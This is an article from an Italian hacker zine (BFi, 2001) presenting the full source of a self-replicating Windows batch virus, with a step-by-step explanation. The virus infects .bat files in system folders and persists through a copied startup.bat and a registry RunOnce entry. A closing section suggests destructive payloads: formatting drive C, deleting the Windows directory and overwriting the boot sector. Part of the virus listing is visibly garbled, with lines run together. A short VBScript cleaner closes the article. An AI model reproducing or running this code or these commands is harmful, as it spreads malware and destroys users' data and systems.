==============================================================================
-----------[ BFi numero 10, anno 4 - 30/09/2001 - file 16 di 18 ]-------------
==============================================================================


-[ ViRii ]--------------------------------------------------------------------
---[ BATViRUS, iL ViRUS Di BATMAN ?
-----[ sKIZoidE 


Titolozzo:      BATvirus, il virus di BATMAN?
Autore:         sKIZoidE (io 8-/)
Piattaforma:    Finestre95/98/Me NT/2000
Temperatura:    nun zo', faccaldo!
Consumo:        Un the' caldo della fottuta makkinetta del caffe' della mia
                ditta e alla faccia del caldo che fa adesso ;)
Livello:        Intermedio (leggi: mi PIACEREBBE che fosse ALMENO intermedio
                in realta' il livello e': 'Superbanalone' :))
Dediche:        . a una ragazza che non lo sapra' mai
                . alla Mo, un'altra ragazza che non lo sapra' mai :-*
                . all'inventore di dos/windows/nt/2000: ma va@f'a@*ul#
                . a chi NON PUO' formattare il suo hd con win per
                  poterci installare linux/*bsd


IDEA
----

Mo veniamo a noi. L'idea mi e' venuta spizzicando qua e la' nel sorgente
del virus Wm/W32.Cocaine di Vecna (xine-4):
Un batch virus PURO? E' possibile?
Chiunque di voi abbia dovuto utilizzare il vecchio MS-DOS o debba ancor oggi
automatizzare Willoz utilizzando i ricchissimi strumenti che mamma (maiala)
Microcefalox mette a disposizione, si sara' sicuramente scontrato con i
files batch.

Cosa sono i files batch?
Sono mini(micro)-script per ambiente ms-dos/win che permettono di eseguire una
serie di comandi e forniscono una scarna (ed e' un eufemismo!) serie di
istruzioni interne per permettere un minimo di controllo di flusso.
I **nixiani si dimentichino dei loro potentissimi shell-scripts!
Qui si parla di Willoz: tutto e' atrocemente piu' ostico, qui!

In breve, i comando interni che e' possibile utilizzare, sono:

ECHO [ON | OFF] | messaggio         visualizza un messaggio

SET [variabile=stringa]             imposta una variabile

IF [NOT] ERRORLEVEL numero comando  test sullo stato ritornato dall'ultimo
                                    programma eseguito
   stringa1==stringa2               test sul confronto di stringhe
   EXIST                            test sull'esistenza di un file

GOTO etichetta                      Passa l'esecuzione a 'etichetta'

PATH percorso1;percorso2;..         Setta il path di ricerca dei comandi

FOR %var IN (gruppo) DO comando     esegue un comando su un gruppo di files

@                                   NON visualizza il comando lanciato

comando < | > | >> file | NUL       redirige l'input o l'output di un comando
                                    da / su un file o su NUL

REM | ::                            Commenti

%variabile%                         Il contenuto della variabile

%1 ... %9                           Parametri dati al file batch

%0                                  Nome del file batch

SHIFT                               Shifta a sinx i parametri, perdendo
                                    il primo.

CALL programma                      Esegue un programma esterno e poi ritorna


Esempio sul'uso delle variabili:
set NOME=Bill Gatez                         setta la var 'NOME'
if "%NOME%"=="Bill Gatez" echo Frocio!      test che tutti capiscono ;)
set NOME=                                   cancella la variabile

Se una variabile non viene pulita, rimane anche dopo l'esecuzione del
batch.

Per la cronaca e' anche possibile 'inventarsi' delle chiamate di funzione
in questo modo:

set RET=step2           <-- setta una var con la label di ritorno
goto function           <-- esegui il goto (sarebbe la call) alla funzione
:step2                  <-- label di ritorno
 . . .
 . . .

:function               <-- funzione
    echo Ciao mamma!
    goto %RET%          <-- ret

E questo e' tutto! EEhh? COOOOME? Tutto qui???
Ebbene si'...! Il nostro virusino dovra' sopravvivere in questo ambiente cosi'
ostile! Bhe'.. Stara' a noi renderlo almeno VIVIBILE per il nostro bel
BATvirino ancora in fasce ;)


OBIEZIONI
---------

(scdbv = Super Coder Della Boia Vacca)

lamer: "Ma ormai siamo nel 2002, c'e' Windows 2000, il mouse le icone, Lara
       Croft adesso e' una star del cinema! Cosa ce ne facciamo di un FILE
       BACH? Sei antiCuato!! Adesso ti lancio il mio Morton Antivirus e ti
       scancello il tuo pipistrello!"

scdbv: "Mai sentito parlare di un file chiamato Autoexec.bat o di un
       dosstart.bat? Proprio sicuro che i nuovi potentissimi ;) sistemi
       (dis)operativi Microsux NON usino piu' i .bat??
       Se non ci sono, basta CREARLI perche' vengano usati all'avvio!"

lamer: "Vabbe' autoesec.bat ce l'ho, adesso lo cavo quel virus maledetto!
       Zac ho aperto risorse del compiuter e l'ho spazzato via anche dal
       cesto del picnic! Adesso scancello anche questo command.com che mi
       sembra un altro virus potentissimo. Opla' fatto ora sto riavviando
       il mio Windows98 bello pulito, che forza!"

scdbv: "Oooooh! Che mi hai sconfitto! Che tristezza! Sigh Sob il mio povero
       virus e' stato debellato.."


COSA DIAVOLO FA?
----------------

A dire la verita' non fa quasi niente. O meglio: si replica, vive di vita
propria e infetta ogni .bat che trova nella cartella corrente, in C:\, in
C:\DOS, C:\WINDOWS o in C:\WINDOWS\COMMAND. L'unico 'danno' e' di accodare
un paio di righe di testo in un file temporaneo che cresce ogni volta che un
.bat infetto viene lanciato.
Vi pare poco? Ecchediamine!
Fa pochino per essere un virus?
Ma non e' detto che non POSSA fare di piu' :) In fondo e' solo un bambino
e serve qualcuno che gli insegni a camminare!
Si' perche' anche se gli stumenti sono poverissimi (Bill GAYtes quando ha
'cagato' dos/win forse era stitico, cosi' pochi sono i comandi a disposizione)
le possibilita' sono  I L L I M I T A T E!

Bhe', vediamo come.


COME FUNZICA
------------

Il virus e' gia' incorporato in un 'innocuo' file .bat che non fa niente se
non scrivere una frase stupida a video.
Basta lanciarlo perche' automaticamente venga avviata l'infezione.
Il virus cerca file .BAT e li infetta seguendo quest'ordine:

1) Cartella corrente
2) C:\
3) C:\DOS
4) C:\WINDOWS (\WINNT)
5) C:\WINDOWS\COMMAND (\WINNT\COMMAND)

Poi copia una copia (!) di se stesso nella cartella C:\WINDOWS\SYSTEM con il
nome di 'STARTUP.BAT' e si va a piazzare nel registro di configurazione di
Willoz, in modo da essere lanciato ad ogni riavvio del sistema.

Un file .bat infetto, si presenta proprio come un VERO virus:


INFECTOR.BAT:

            +-------------+
            |    virus    |----+
            +-------------+    |
            | file .bat   |    |
            |  originale  |    |
            +-------------+    |
            |label uscita |<---+
            +-------------+

Ma come fa ad infettare altri files senza dei comandi di open/close sui
files? Bhe', il segreto e' usare la REDIREZIONE dell'output e un piccolo
trucchetto con DEBUG!

Per cercare altri files da infettare usa il comando FOR, rilanciando se
stesso in modo ricorsivo (!!) per ogni file che ha trovato!
Hurg! Okay... se non ci avete capito niente, passiamo ad analizzare il
programma passo passo:



ECCOLO!
-------

<-| BATVIRUS/INFECTOR.BAT |->
@echo off
rem BATvirus - The night flyer :)=
if exist __virZZ.lck goto __vxzvx0
echo set CMDLINE=%1 %2 %3 %4 %5 %6 %7 %8 %9>__virZZ.lck
echo path %PATH%>>__virZZ.lck
set WD=\WINDOWS
if not exist %WD%\nul set WD=\WINNT
if not exist %WD%\nul goto __vxzvEE
set CMD=%WD%\COMMAND
if %WD%.==\WINNT. set CMD=%WD%\SYSTEM32
PATH %WD%;%CMD%;%WD%\SYSTEM32
for %%x in (*.BAT;\*.BAT;\DOS\*.BAT;%WD%\*.BAT;%CMD%\*.BAT) do call %0 %%x
ren __virZZ.lck __virZZ.bat >nul
if not exist %WD%\SYSTEM\startup.bat goto __vxzvxE
echo REGEDIT4>%TEMP%\mO20sE82.tmp
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]>>%TEMP%\mO20sE82.tmp
echo "BATman"="start /m command.com /c \%WD%\\SYSTEM\\startup.bat">>%TEMP%\mO20sE82.tmp regedit /s

%TEMP%\mO20sE82.tmp set fn= goto __vxzvxE :__vxzvx0 find "Dedicated to omacni_shciesi " %1 >nul if

NOT errorlevel 1 goto __vxzvEE set fn=%0 if not exist %fn% set fn=%0.bat copy %fn% __virii.bat >nul

goto __vxzvx1 rcx 68a w q :__vxzvx1 debug <%fn% __virii.bat >nul if not exist __virii.bat goto
__vxzvEE if exist %WD%\SYSTEM\startup.bat goto __vxzvx2 copy __virii.bat %WD%\SYSTEM\startup.bat
>nul echo :__vxzvEE>>%WD%\SYSTEM\startup.bat :__vxzvx2 type %1 >>__virii.bat copy __virii.bat %1>nu
l
del __virii.bat>nul echo :__vxzvEE>>%1 set fn= goto __vxzvEE :__vxzvxE if exist %TEMP%\BIGSPACE.SWP

attrib -r -s -h %TEMP%\BIGSPACE.SWP echo Hello, i'm a BATvirus :)>>%TEMP%\BIGSPACE.SWP echo i'M
fUCKiNg YOuR WIndOWz spACe>>%TEMP%\BIGSPACE.SWP echo mO, yOU arE a BEauTIfUl GirL
:)>>%TEMP%\BIGSPACE.SWP attrib +r +s +h %TEMP%\BIGSPACE.SWP call __virZZ.bat del __virZZ.bat >nul
set WD= set CMD= @echo off echo +-----------------------------+ echo ! Hello i'm an infected file! 
!
echo !       I do nothing :))      ! echo +-----------------------------+ echo. :__vxzvEE
<-X->

ANALISI SORGENTE
----------------

@echo off
rem BATvirus - The night flyer :)=

> hem, questo non lo commento :/

if exist __virZZ.lck goto __vxzvx0

> L'istruzione controlla l'esistenza di un file (__virZZ.lck) e in caso il
> file esista, salta ad una label (__vxzvx0)
> Questo mi serve per pilotare l'azione del virus durante l'infezione di
> un gruppo di files. Se il file '__virZZ.lck' e' presente, significa che
> il virus sta eseguendo la ricerca di altri files da infettare ed e'
> all'interno di un ciclo FOR. Capiremo piu' avanti!

echo set CMDLINE=%1 %2 %3 %4 %5 %6 %7 %8 %9>__virZZ.lck
echo path %PATH%>>__virZZ.lck

> Se il file di lock non esiste, allora iniziamo l'infezione!
> Con questa istruzione facciamo 2 cose:
>   1. Diciamo al virus che siamo nella fase di infezione
>   2. Ci salviamo la commandline originale, che verra' compromessa in
>      seguito dall'azione del virus, e la path corrente.

set WD=\WINDOWS
if not exist %WD%\nul set WD=\WINNT
if not exist %WD%\nul goto __vxzvEE
set CMD=%WD%\COMMAND
if %WD%.==\WINNT. set CMD=%WD%\SYSTEM32
PATH %WD%;%CMD%;%WD%\SYSTEM32

> Questo e' facilotto: settiamo la dir root di willoz e la command a seconda
> che siamo o meno su 95/98/NT/2000 e settiamo la path. Questo perche' nel
> caso di infezione dell'autoessic.bat NON avremo pattha settata (in teoria)

for %%x in (*.BAT;\*.BAT;\DOS\*.BAT;%WD%\*.BAT;%CMD%\*.BAT) do call %0 %%x

> Il succo di questo comando e': Esegui '%0' (cioe' te stesso) ogni volta che
> trovi un file .BAT in una delle cartelle specificate.
> Cosa succede a questo punto? La CALL di se stesso fa tornare il controllo
> all'inizio del batch. Ma a differenza della prima volta che e' stato
> lanciato, ora esiste il file __virZZ.lck e il flusso del programma sara'
> quindi un altro!
> Seguiamolo:

:__vxzvx0
find "Dedicated to omacni_shciesi " %1 >nul
if NOT errorlevel 1 goto __vxzvEE

> Qui controlliamo che il file batch da infettare ('%1') non sia gia' stato
> infettato. Il comando 'find' (find /? x i dettagli) cerca una stringa in
> un file e restituisce la variabile ERRORLEVEL=1 se NON l'ha trovata o
> =0 se l'ha trovata.
> Per cui se TROVA la stringa (cioe' se errorlevel NON e' 1), NON deve
> infettare il file, per cui esce.

set fn=%0
if not exist %fn% set fn=%0.bat
copy %fn% __virii.bat >nul
goto __vxzvx1

> Se siamo arrivati qui e' perche' abbiamo un bel file da infettare :)
> Le prime due istruzioni si occupano di costruire il nome COMPLETO di se
> stesso, perche' se io al prompt dei comandi lancio C:\>INFECTOR, la
> variabile '%0' conterra' 'INFECTOR', senza l'estensione '.BAT' propria del
> file. Qui serve l'ESATTO NOME DEL PROGRAMMA per poter eseguire una copia
> di se stesso ed iniziare l'infezione.
> Il problema che si presenta ora e' che non esiste in dos un comando tipo
> il cut / grep / awk per manipolare gli stream di i/o.
> Come facciamo a copiare solo la parte del virus che ci interessa e non
> l'intero file batch?
> Le istruzioni che seguono sono la risposta!

rcx
68a
w
q
:__vxzvx1
debug <%fn% __virii.bat >nul

> Che *az**0 sono??
> Bhe', per capirle occorre dire 2 parole su un comando **magico**: DEBUG!
>
> ---- aperta parentesi tonda ----
> Non spieghero' il funzionamento del programma e su come farvi con lui magari
> un VERO virus (ad es: un bel TSR di quelli d'una volta ;P): vi basti sapere
> che, oltre a eseguire dei veri e propri programmi assembler (se programmate
> in asm!), potete usare debug semplicemente per manipolare dei files.
> Provate a digitare DEBUG+[INVIO]: vi comparira' il prompt '-'. Digitate
> ora '?' per avere un breve help... poi sbizzarritevi!
> ---- chiusa parentesi tonda ----
>
> Quello che c'e' da sapere e' che debug accetta la redirezione dell'i/o.
> Il comando debug <%fn% __virii.bat >nul significa:
> esegui debug, aprendo il file '__virii.bat' e utilizzando i comandi
> contenuti nel file %fn% e non far vedere quello che fai!
> Ma che comandi contiene %fn%?
> Ricordate? %fn% siamo noi!
> Debug ignorera' tutti i comandi batch dall'inizio del file
> (i vari @echo off, rem blablabla...) come comandi non riconosciuti, fino a
> che non incontra' gli unici comandi che comprende:
> rcx
> 68a
> Queste due righe sono in realta' un'unica istruzione, che assegna al
> registro CX il valore (hex) 69d.
>
> ----- aperta parentesi tonda -----
> Cosa sono i registri? Sono le variabili usate dalla CPU (e da noi ;) )
> x memorizzare dei dati/puntatori. Nel caso di debug, la coppia di registri
> AX:CX contiene la dimensione del file che e' attualmente caricato
> in memoria.
> ----- chiusa parentesi tonda -----
>
> Il valore '68a' e' l'ESATTA dimensione del virus, tranne che per l'ultima
> istruzione che vedremo dopo.
> Quindi, se modificate il virus in qualche modo, okkio alle dimensioni!
> Dunque, le istruzioni:
> w  (Write, scrive il file troncandolo alla dimensione di AX:CX)
> q  (Quit, esce da debug)
>
> Zac! Ora abbiamo il file __virii.bat che contiene la parte del virus da
> trasmettere al mondo intero. Il piu' e' veramente fatto!
> Ora non ci resta che usare la redirezione per incollare i vari pezzi del
> puzzle e dare il via alla piu' grande infezione della storia ( 8D )!

if not exist __virii.bat goto __vxzvEE
if exist %WD%\SYSTEM\startup.bat goto __vxzvx2
copy __virii.bat %WD%\SYSTEM\startup.bat >nul
echo :__vxzvEE>>%WD%\SYSTEM\startup.bat
:__vxzvx2

> Bhe' questo e' semplice! La prima istruzione controlla che non ci sia stato
> 1 errore di i/o sul disco e non sia stato creato il file __virii.bat.
> La seconda riga installa una copia del virus sotto "mentite spoglie", cioe'
> come startup.bat nella cartella SYSTEM di willoz.

type %1 >>__virii.bat
copy __virii.bat %1>nul
del __virii.bat>nul

> Ecco l'infezione! Il file da infettare viene accodato al virus con il primo
> comando type, usando la redirezione dell'output. Poi il file da infettare
> viene sostituito con quello infettato e la copia vecchia viene eliminata.

echo :__vxzvEE>>%1

> Questa istruzione accoda la label di uscita di errore usata dal virus.
> Dev'essere l'ultima label senno' quando il virus esce fa del casino.

:__vxzvxE
if exist %TEMP%\BIGSPACE.SWP attrib -r -s -h %TEMP%\BIGSPACE.SWP
echo Hello, i'm a BATvirus :)>>%TEMP%\BIGSPACE.SWP
echo i'M fUCKiNg YOuR WIndOWz spACe>>%TEMP%\BIGSPACE.SWP
echo mO, yOU arE a BEauTIfUl GirL :)>>%TEMP%\BIGSPACE.SWP
attrib +r +s +h %TEMP%\BIGSPACE.SWP

> Ok queste sono le 4 cagate che fa il virus di danno!
> Sisisisi e' molto lamah, lo so ma e' solo un esempio dimostrativo.
> Far danni non e' la mia massima aspirazione :) comunque qua in mezzo potete
> metterci quello che volete! Il solo limite e' la vostra fantasia (malata).

call __virZZ.bat
del __virZZ.bat >nul
set WD=
set CMD=

> Qui vengono ripristinate le variabili CMDLINE e PATH ai valori originali.
> Hu? Ma da dove sbuca il file __virZZ.bat? Lo vedremo in seguito...

@echo off
echo +-----------------------------+
echo ! Hello i'm an infected file! !
echo !       I do nothing :))      !
echo +-----------------------------+
echo.

> Questo e' il primo file batch infettato! Non fa molto! :P

:__vxzvEE

> Label di uscita per errori del virus.

> Ritorniamo ora un po piu' su; Quando il virus ha terminato l'infezione
> controllando tutte le cartelle che deve controllare, cosa fa?
> Bhe', si assicura (come ogni buon virus deve fare) di poter essere lanciato
> almeno una volta all'avvio del sistema, cosi' tanto per andar via pari...

ren __virZZ.lck __virZZ.bat >nul

> Questa riga semplicemente toglie il lock (il virus entra cioe' nella fase
> 'distruttiva', dopo aver completato l'infezione).
> NB: Il file di lock NON viene cancellato perche' contiene il settaggio delle
> variabili d'ambiente CMDLINE e PATH ORIGINALI per ripristinarle (come gia'
> visto) all'uscita del virus.

if not exist %WD%\SYSTEM\startup.bat goto __vxzvxE
echo REGEDIT4>%TEMP%\mO20sE82.tmp
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]>>%TEMP%\mO20sE82.tmp
echo "BATman"="start /m command.com /c \%WD%\\SYSTEM\\startup.bat">>%TEMP%\mO20sE82.tmp regedit /s

%TEMP%\mO20sE82.tmp set fn= goto __vxzvxE

> Qui il virus si installa nel registro di configurazione di willoz in modo
> da essere lanciato ad ogni riavvio del sistema. Ho scelto la cartella
> RunOnce perche' e' poco usata :)
> Solo una nota: il file %TEMP%\mO20sE82.tmp NON viene cancellato!
> Non e' un errore... e' che se cancellassimo il file temp subito dopo aver
> lanciato regedit, il file verrebbe cancellato PRIMA di essere letto dal
> regedit stesso, causa il multitask di windows.
> Schemino:
>
> a) regedit /s %TEMP%\mO20sE82.tmp        REGEDIT e' caricato in memoria.
> b) del %TEMP%\mO20sE82.tmp               Il file .tmp e' cancellato.
> c)                                       REGEDIT cerca di aprire il .tmp
>                                          che non c'e' piu' e da' errore.
> Bisognerebbe eseguire: start /w regedit /s blablabla, per far si' che
> il programma attenda la fine del regedit PRIMA di proseguire.
> Questa NON mi sembra una buona idea... preferisco lasciare un .tmp che
> non sara' comunque facilmente individuabile.

Ok siamo alla fine! Non ci avete capito 1 palazzo? Ok, forse non e' cosi'
facile (edaaaai che non e' neanche difficile, no?) ma... provate, gente,
provate!


IDEE MALSANE
------------

Dicevamo che teoricamente si puo' fare di tutto! Cosa significa?
Bhe', alcune implementazioni potrebbero essere:

1) Scatenare un evento in base alla DATA DI SISTEMA
    echo. | date | find "20/09" >nul
    if not errorlevel 1 blablabla...

2) Formattazione dell'HDD
    echo s|format c:

3) Infezione di ogni .bat presente nelle SOTTOCARTELLE (o in tutto l'hdd)
    dir *.bat /s >batlist.txt

4) Cancellazione di interi rami di directory
    deltree c:\windows /y

5) 'Cavare' il boot sector
    echo w 0000 2 0 3 >fuckboot.cmd
    echo q>>fuckboot.cmd
    debug nul

6) Per i piu' maliziosetti che gia' codano in .asm, provate questo:
    c:\>edit demo.src
    a 100
    mov ah, 9
    mov dx, 200
    int 21
    xor ax, ax
    int 16
    int 20

    a 200
    db "Hello! I'm a fucked virus... :)-",d,a,"$"

    rcx
    122
    (dimensione prg= 222 - 100h = 122 il xche' non ve lo spiego :))
    n demo.com
    w
    q

    c:\>debug demo
    Hello! I'm a fucking virus... :)-

    ...e poi viaggiate di fantasia!

7) Per chi ama i vari javascript o vbscript:
    if exist c:\windows\wscript.exe goto __scriptz
   :__scriptz
   rem Per come fare, date un'occhiata all'antivirus fornito in allegato :)

8) Nei link window, sostituire le chiamate ad alcuni comandi con dei batch
   che lancino i comandi veri.
   Es: explorer.lnk --> explorer.exe
       explorer.lnk --> explorer.bat --> explorer.exe
   Bhe', a questo sto lavorando per la versione II di BATvirus, ma piazzo
   qui l'idea tanto per far capire le potenzialita' di questo scriptino.


DA FARE
-------

. Velocizzare il virus, NON ricreando tutte le volte il file __virii.bat
. Fixare alcune pecche (macroscopiche) allo startup di willoz


CONCLUSIONE
-----------

Ok spero di non aver incasinato troppo il tutto. L'idea di base non e' mia e
non so se sia gia' stata implementata da altri, ma fino ad ora di virus cosi'
non ne avevo mai visti, per cui...
Si' lo so che questo virus e' lento, visibilissimo e nemmeno troppo elegante,
ma vuol essere di sprono per tutti coloro che operano in ambienti ostili e
che si sentono "inferiori" al loro colleghi che possono tranquillamente
codare in asm/c e far danni di brutto avanti e indietro con stealth,
polymorphic, pe infector, VxD fucher and so others...:
Ragazzi, non mollate e studiate bene le vostre 'prede' che non si sa mai ;)


SALUTI
------
.) Un saluto a tutto lo staff BFi.. non so se arriverete fino in fondo a
quest'ammasso di parole sconclusionate che chiamo "articolo", cmq se solo
avete letto questo "CIA0" ho raggiunto meta' del mio scopo ;).
.) Un saluto particolare ad una persona che non lo sentira' mai (almeno non
da qui :P ) e alla quale ho dedicato un file .tmp: mO20sE82!
.) Un altro saluto alla mia girlz 8-* smack!
.) Una frase per Paco, che e' agli inizi dello smanettamento:
   "Il computer e' sotto il controllo totale di Pacho!"
   Visto cosa si puo' fare con un semplice file batch?


<-| BATVIRUS/BATAV.BAT |->

@echo off
@echo BATAV v1.0  - Anti Viral ToolKit for BATman virus :) - sKIZoidE
@echo.
@if %1.==. goto end
@type %0.bat | find /v "%0"| find /v "@" | find /v ":end" >__a.vbs
@cscript __a.vbs %1 //nologo
@echo.
@del __a.vbs>nul
@if exist c:\windows\system\startup.bat del c:\windows\system\startup.bat >nul
@if exist c:\winnt\system\startup.bat del c:\winnt\system\startup.bat >nul
@goto end
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FS= Createobject("Scripting.FileSystemObject")

VIRLEN=54       'nr of rows of BATvirus

set arg=WScript.Arguments
if arg.length=0 then
    WScript.Quit()
end if

WScript.Echo "Scan Folder: ["&arg.Item(0)&"]"&vbCrLf

set fold=FS.GetFolder(arg.Item(0))

if fold=null then WScript.Quit()

for each fn in fold.Files
    if InStr(1, Ucase(fn.name), ".BAT") then
        WScript.Echo "Scan file "&fn.name
        clean fn.Path
    end if
next

WS.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\BATman"

Set FS=Nothing
Set WS=Nothing


Sub clean(n)

set inf = FS.OpenTextFile(n, 1)
cnt=0
buff=""
b=""
flag=0
Do While Not inf.AtEndOfStream
    cnt = cnt + 1
    b = inf.ReadLine
    if InStr(1, b, "Dedicated to omacni_shciesi ") then flag=1
    if cnt > VIRLEN and b <> ":__vxzvEE" then
        buff = buff&b&vbCrLf
    end if
Loop
inf.close

if flag <> 0 then
    WScript.Echo " -----) cleaned ("
    Set out=FS.OpenTextFile(n, 2, true)
    out.write buff
    out.close
end if

End Sub

:end

<-X->


==============================================================================
--------------------------------[ EOF 16/18 ]---------------------------------
==============================================================================